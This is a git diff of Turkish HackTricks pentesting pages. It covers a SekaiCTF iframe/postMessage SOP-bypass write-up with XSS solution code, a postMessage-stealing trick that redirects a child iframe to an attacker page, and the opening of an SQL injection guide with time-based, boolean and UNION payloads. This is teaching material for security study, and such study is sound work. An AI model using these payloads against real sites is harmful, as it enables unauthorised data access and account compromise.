* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,35 +1,35 @@
# Bypassing SOP with Iframes - 2
# Bypass SOP with Iframes - 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SOP-2'de Iframe'ler
## Iframes in SOP-2
Bu [**zorluk**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) için [**çözümde**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) önceki bölümdeki benzer bir yöntem öneriyor. Hadi kontrol edelim.
Bu zorlukta saldırganın aşması gereken şey:
In the [**çözüm**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**meydan okuma**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) proposes a similar method to the previous section. Let's check it.
In this challenge the attacker needs to **bypass** this:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Eğer yaparsa, sayfada **`innerHTML`** ile yazılacak HTML içeriği ile bir **postmessage** gönderebilir, bu da sanitasyon olmadan (**XSS**).
Eğer yaparsa, **innerHTML** ile temizlenmeden sayfaya yazılacak HTML içeriği ile birlikte bir **postmessage** gönderebilir ve böylece **XSS** saldırısı gerçekleştirebilir.
İlk kontrolü atlatmanın yolu, **window.calc.contentWindow**'u **undefined** ve **e.source**'u **null** yapmaktır:
* **window.calc.contentWindow** aslında **document.getElementById("calc")**'tır. **document.getElementById**'i ile değiştirebilirsiniz (Sanitizer API -[burada](https://wicg.github.io/sanitizer-api/#dom-clobbering)-, varsayılan durumunda DOM clobbering saldırılarına karşı koruma sağlamak için yapılandırılmamıştır).
* Bu nedenle, **document.getElementById("calc")**'i ile değiştirebilirsiniz. Böylece **window.calc** **undefined** olacaktır.
* Şimdi, **e.source**'un **undefined** veya **null** olması gerekmektedir (çünkü `==` yerine `===` kullanıldığından, **null == undefined** **True**'dır). Bunu elde etmek "kolaydır". Bir **iframe** oluşturup ondan bir **postMessage** gönderir ve hemen ardından iframe'i **kaldırırsanız**, **e.origin** **null** olacaktır. Aşağıdaki kodu kontrol edin:
**ilk kontrolü** atlatmanın yolu **`window.calc.contentWindow`**'u **`undefined`** ve **`e.source`**'u **`null`** yapmaktır:
* **`window.calc.contentWindow`** aslında **`document.getElementById("calc")`**'dır. **`document.getElementById`**'yi **`<img name=getElementById />`** ile bozabilirsiniz (Sanitizer API -[burada](https://wicg.github.io/sanitizer-api/#dom-clobbering)- varsayılan durumda DOM clobbering saldırılarına karşı koruma sağlamak için yapılandırılmamıştır).
* Bu nedenle, **`document.getElementById("calc")`**'yi **`<img name=getElementById /><div id=calc></div>`** ile bozabilirsiniz. O zaman, **`window.calc`** **`undefined`** olacaktır.
* Şimdi, **`e.source`**'un **`undefined`** veya **`null`** olması gerekiyor (çünkü `==` yerine `===` kullanıldığı için, **`null == undefined`** **`True`**'dur). Bunu elde etmek "kolaydır". Eğer bir **iframe** oluşturur ve ondan bir **postMessage** gönderir ve hemen **iframe**'i **kaldırırsanız**, **`e.origin`** **`null`** olacak. Aşağıdaki kodu kontrol edin.
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
@ -38,14 +38,12 @@ await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
**İkinci kontrolü** atlatmanın yolu, **`token`** değerini `null` olarak gönderip **`window.token`** değerini **`undefined`** yapmaktır:
**İkinci kontrolü** atlamak için **`token`** değerini `null` olarak göndermek ve **`window.token`** değerini **`undefined`** yapmak gerekmektedir:
* `token` değerini `null` olarak postMessage ile göndermek basittir.
* **`window.token`**, **`document.cookie`** kullanan **`getCookie`** fonksiyonunu çağırır. Unutmayın ki **`null`** kökenli sayfalarda **`document.cookie`**'ye erişim her zaman bir **hata** tetikler. Bu, **`window.token`**'ın **`undefined`** değerine sahip olmasını sağlar.
Son çözüm [**@terjanq**](https://twitter.com/terjanq) tarafından [**aşağıdaki**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) gibi olmuştur:
* `null` değeri ile postMessage'de `token` göndermek basittir.
* **`window.token`**, **`document.cookie`** kullanan **`getCookie`** fonksiyonunu çağırırken. **`null`** kökenli sayfalarda **`document.cookie`** erişiminin bir **hata** tetikleyeceğini unutmayın. Bu, **`window.token`** değerinin **`undefined`** olmasına neden olacaktır.
Son çözüm [**@terjanq**](https://twitter.com/terjanq) tarafından [**şudur**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
@ -81,15 +79,17 @@ setTimeout(start, 1000);
</body>
</html>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# Postmessage'ı çalarak iframe konumunu değiştirme
# Postmessage'i çalarak iframe konumunu değiştirme
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ya katılın!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te tanıtmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Çocuk iframe'lerin konumunu değiştirme
## Çocuk iframe'lerin konumlarını değiştirme
[**Bu yazıda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) belirtildiği gibi, başka bir iframe içeren X-Frame-Header olmayan bir web sayfasını iframe'leyebilirseniz, **o çocuk iframe'in konumunu değiştirebilirsiniz**.
[**bu yazıya**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) göre, X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, **o çocuk iframe'in konumunu değiştirebilirsiniz**.
Örneğin, abc.com'un efg.com'u iframe olarak içerdiği ve abc.com'un X-Frame başlığı olmadığı durumda, **`frames.location`** kullanarak efg.com'u evil.com'a cross origin olarak değiştirebilirim.
Örneğin, abc.com efg.com'u iframe olarak içeriyorsa ve abc.com X-Frame başlığına sahip değilse, **`frames.location`** kullanarak efg.com'u evil.com olarak çapraz köken değiştirebilirim.
Bu özellikle **postMessages**'larda kullanışlıdır çünkü bir sayfa, **`windowRef.postmessage("","*")`** gibi bir **wildcard** kullanarak hassas verileri gönderiyorsa, ilgili iframe'in (çocuk veya ebeveyn) konumunu bir saldırganın kontrol ettiği bir konuma **değiştirerek** ve o verileri çalabilirsiniz.
Bu, **postMessages** için özellikle kullanışlıdır çünkü bir sayfa, `windowRef.postmessage("","*")` gibi bir **wildcard** kullanarak hassas veriler gönderiyorsa, **ilgili iframe'in (çocuk veya ebeveyn) konumunu bir saldırganın kontrolündeki bir konuma değiştirmek** ve o verileri çalmak mümkündür.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -35,14 +38,17 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
</script>
</html>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
## SQL enjeksiyonu nedir?
Bir **SQL enjeksiyonu**, bir uygulamanın veritabanı sorgularına **müdahale etmeyi** sağlayan bir güvenlik açığıdır. Bu zafiyet, saldırganların, erişmemeleri gereken diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veri dahil olmak üzere erişmemeleri gereken verileri **görüntülemelerine**, **değiştirmelerine** veya **silmelerine** olanak tanır. Bu tür eylemler, uygulamanın işlevselliği veya içeriği üzerinde kalıcı değişikliklere veya hatta sunucunun veya hizmetin kullanılamaz hale gelmesine neden olabilir.
**SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların **görmesine**, **değiştirmesine** veya **silmesine** izin verebilir; bu, diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veri dahil olmak üzere, erişmemeleri gereken verilere erişim sağlar. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.
## Giriş noktası tespiti
Bir site, SQL enjeksiyonuna (SQLi) karşı **savunmasız görünüyorsa**, SQLi ile ilgili girişlere alışılmadık sunucu yanıtları nedeniyle, **ilk adım**, sorguya **müdahale etmeden veri enjekte etmeyi** nasıl anlayacağımızı öğrenmektir. Bunun için mevcut bağlamdan **etkili bir şekilde kaçınma yöntemini** belirlemek gerekmektedir.
İşte bazı faydalı örnekler:
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
```
[Nothing]
'
@ -39,9 +40,9 @@ Bir site, SQL enjeksiyonuna (SQLi) karşı **savunmasız görünüyorsa**, SQLi
"))
`))
```
Ardından, sorguyu **hataları düzeltmek için nasıl düzelteceğinizi** bilmelisiniz. Sorguyu düzeltmek için yeni verileri **giriş yapabilirsiniz**, veya sadece **kendi verilerinizi girebilir** ve **sonuna bir yorum sembolü ekleyebilirsiniz**.
Sonra, **sorguyu hatasız hale getirmeyi** bilmeniz gerekiyor. Sorguyu düzeltmek için **veri girebilir** ve **önceki sorgunun yeni veriyi kabul etmesini** sağlayabilirsiniz veya sadece **verinizi girebilir** ve **sonuna bir yorum sembolü ekleyebilirsiniz**.
_Not edin ki, hata mesajlarını görebiliyorsanız veya bir sorgu çalışırken ve çalışmadığı zaman farklılıkları fark edebiliyorsanız, bu aşama daha kolay olacaktır._
_Hata mesajlarını görebiliyorsanız veya bir sorgunun çalıştığında ve çalışmadığında farklılıkları fark edebiliyorsanız, bu aşama daha kolay olacaktır._
### **Yorumlar**
```sql
@ -71,9 +72,9 @@ HQL does not support comments
```
### Mantıksal işlemlerle doğrulama
Bir SQL enjeksiyon açığı doğrulamak için güvenilir bir yöntem, bir **mantıksal işlem** gerçekleştirip beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresi, `?username=Peter' or '1'='1` şeklinde değiştirildiğinde aynı içeriği üretiyorsa, bu bir SQL enjeksiyon açığına işaret eder.
SQL injection zafiyetini doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL injection zafiyetini gösterir.
Benzer şekilde, **matematiksel işlemlerin** uygulanması etkili bir doğrulama tekniği olarak kullanılabilir. Örneğin, `?id=1` ve `?id=2-1` erişimleri aynı sonucu üretiyorsa, bu bir SQL enjeksiyonunun varlığını gösterir.
Benzer şekilde, **matematiksel işlemlerin** uygulanması etkili bir doğrulama tekniği olarak hizmet eder. Örneğin, `?id=1` ve `?id=2-1` erişimlerinin aynı sonucu vermesi, SQL injection'ı gösterir.
Mantıksal işlem doğrulamasını gösteren örnekler:
```
@ -82,13 +83,14 @@ page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Bu kelime listesi, önerilen yöntemle SQL enjeksiyonlarını doğrulamak için oluşturulmuştur:
Bu kelime listesi, önerilen şekilde **SQL enjeksiyonlarını** **doğrulamak** için oluşturulmuştur:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### Zamanlama ile Doğrulama
### Zaman ile Doğrulama
Bazı durumlarda, test ettiğiniz sayfada herhangi bir değişiklik fark etmeyebilirsiniz. Bu nedenle, kör SQL enjeksiyonlarını keşfetmenin iyi bir yolu, veritabanının eylemler gerçekleştirmesini sağlamak ve sayfanın yüklenme süresine **etkisi olacak** bir işlemi SQL sorgusuna birleştirmektir.
Bazı durumlarda, test ettiğiniz sayfada **hiçbir değişiklik fark etmeyeceksiniz**. Bu nedenle, **kör SQL enjeksiyonlarını** keşfetmenin iyi bir yolu, veritabanının işlemler yapmasını sağlamak ve bu işlemlerin sayfanın yüklenme süresi üzerinde **etkisi** olacaktır.\
Bu nedenle, SQL sorgusuna tamamlanması uzun sürecek bir işlemi birleştireceğiz:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -110,11 +112,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
Bazı durumlarda **sleep fonksiyonlarına izin verilmeyebilir**. Bu durumda, bu fonksiyonları kullanmak yerine sorguyu **birkaç saniye sürecek karmaşık işlemler gerçekleştiren** şekilde yapabilirsiniz. _Bu tekniklerin örnekleri, her bir teknoloji için ayrı ayrııklanacaktır (varsa)_.
Bazı durumlarda **sleep fonksiyonlarına izin verilmeyecek**. O zaman, bu fonksiyonları kullanmak yerine, sorgunun **karmaşık işlemler gerçekleştirmesini** sağlayabilirsiniz. _Bu tekniklerin örnekleri her teknoloji için ayrı ayrı yorumlanacaktır (varsa)_.
### Arka Uç Tanımlama
### Arka Uç Belirleme
Arka ucu tanımlamanın en iyi yolu, farklı arka uçların fonksiyonlarını çalıştırmayı denemektir. Önceki bölümdeki _**sleep**_ **fonksiyonlarını** veya bu tablodaki yöntemleri kullanabilirsiniz ([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification) tablosu):
Arka ucu belirlemenin en iyi yolu, farklı arka uçların fonksiyonlarını çalıştırmaya çalışmaktır. Önceki bölümdeki _**sleep**_ **fonksiyonlarını** veya bu fonksiyonları kullanabilirsiniz (tablo [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -142,27 +144,27 @@ Arka ucu tanımlamanın en iyi yolu, farklı arka uçların fonksiyonlarını ç
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Ayrıca, sorgunun çıktısına erişiminiz varsa, **veritabanının sürümünü yazdırabilirsiniz**.
Ayrıca, sorgunun çıktısına erişiminiz varsa, **veritabanının sürümünü yazdırmasını** sağlayabilirsiniz.
{% hint style="info" %}
Devamında farklı türde SQL Injection'ları sömürmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız.
Devamında, farklı SQL Injection türlerini istismar etmenin farklı yöntemlerini tartışacağız. Örnek olarak MySQL kullanacağız.
{% endhint %}
### PortSwigger ile Tespit Etme
### PortSwigger ile Tanımlama
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Birleştirme Tabanlı Sömürme
## Union Tabanlı İstismar
### Sütun Sayısını Belirleme
### Sütun sayısını tespit etme
Eğer sorgunun çıktısını görebiliyorsanız, bunu sömürmek için en iyi yol budur.\
İlk olarak, **başlangıç isteğinin döndürdüğü sütunların sayısını** bulmamız gerekiyor. Çünkü **her iki sorgu da aynı sayıda sütun döndürmelidir**.\
Sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yoludur.\
Öncelikle, **ilk isteğin** döndürdüğü **sütun** **sayısını** bulmamız gerekiyor. Bunun nedeni, **her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir**.\
Bu amaçla genellikle iki yöntem kullanılır:
#### Sıralama/Gruplama ile
#### Order/Group by
Bir sorgunun sütun sayısını belirlemek için, **ORDER BY** veya **GROUP BY** ifadelerinde kullanılan sayıyı artırarak yanıt alınamayana kadar ayarlayın. SQL içinde **GROUP BY** ve **ORDER BY**'ın farklı işlevleri olmasına rağmen, her ikisi de sorgunun sütun sayısını belirlemek için aynı şekilde kullanılabilir.
Bir sorgudaki sütun sayısını belirlemek için, **ORDER BY** veya **GROUP BY** ifadelerinde kullanılan sayıyı kademeli olarak artırarak yanlış bir yanıt alınana kadar ayarlayın. SQL içindeki **GROUP BY** ve **ORDER BY**'nın farklı işlevlerine rağmen, her ikisi de sorgunun sütun sayısını belirlemek için benzer şekilde kullanılabilir.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -188,9 +190,9 @@ Sorgu doğru olana kadar daha fazla null değeri seçin:
```
_`null` değerlerini kullanmalısınız çünkü bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve null her durumda geçerlidir._
